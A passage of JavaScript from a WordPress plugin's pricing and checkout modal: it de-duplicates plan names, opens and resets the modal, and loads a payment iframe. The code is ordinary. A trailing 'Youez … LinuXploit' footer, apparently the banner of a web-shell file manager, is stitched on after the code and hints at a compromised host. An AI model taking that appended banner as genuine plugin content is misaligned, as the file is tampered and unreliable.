		getPromoAppliesTo: function(promo){
			var applies_to = [];
			if (promo.applies_to instanceof Array) {
				var plan_list = [];

				for (var plan_infos = 0; plan_infos < promo.applies_to.length; plan_infos++) {
					plan_list.push(promo.applies_to[plan_infos].plan_name);
				}

				plan_list.forEach(function (item) {
					if (! applies_to.includes(item)) {
						applies_to.push(item);
					}
				});
			} else {
				applies_to = [promo.applies_to];
			}
			return applies_to;
		}
	};

	/**
	 * INIT.
	 */

	/**
	 * Get pricings on modal opening.
	 * Build the pricing tables inside modal.
	 */
	$('.imagify-get-pricing-modal').on('click.imagify-ajax', function () {
		imagifyModal.getPricing($(this));
	});

	/**
	 * Get pricing on modal opening for admin bar menu, the button is added dynamically
	 * Build the pricing tables inside modal.
	 */
	$(document).on('click', '.imagify-admin-bar-upgrade-plan', function () {
		imagifyModal.getPricing($(this));
	});

	/**
	 * Reset the modal on close.
	 */
	$(d).on('modalClosed.imagify', '.imagify-payment-modal', function () {
		$(this).find('.imagify-modal-content').removeClass('imagify-success-viewing imagify-iframe-viewing');

		// Reset first view after fadeout ~= 300 ms.
		setTimeout(function () {
			$('.imagify-modal-views').hide();
			$('#imagify-plans-selection-view').show();
		}, 300);

		//delay scrolltop top to avoid flickering
		setTimeout(function () {
			$('.imagify-payment-modal').find('.imagify-modal-content').scrollTop(0);
		}, 400);
	});

	/**
	 * View game, step by step.
	 */

	/**
	 * 2) when you checkout.
	 *
	 * @uses imagifyModal.switchToView()
	 * @uses imagifyModal.getPeriod()
	 * @uses imagifyModal.iframeSetSrc()
	 */
	imagifyModal.$modal.on('click.imagify', '.imagify-payment-btn-select-plan', function (e) {
		var checkout_datas;

		e.preventDefault();

		checkout_datas = {};

		// Clear user account cache.
		if (imagifyPricingModal.userDataCache) {
			$.post(ajaxurl, {
				action:   imagifyPricingModal.userDataCache.deleteAction,
				_wpnonce: imagifyPricingModal.userDataCache.deleteNonce
			});
		}

		// Change views to go to checkout/payment view.
		imagifyModal.switchToView(imagifyModal.$paymentView);

		checkout_datas.plan_id = Object.values(JSON.parse($(this).attr('data-offer')))[0].id;
		checkout_datas.period  = imagifyModal.getPeriod();

		imagifyModal.iframeSetSrc(checkout_datas);
	});

	// Message/communication API.
	w.addEventListener('message', imagifyModal.checkPluginMessage, true);

})(jQuery, document, window);

Youez - 2016 - github.com/yon3zu
LinuXploit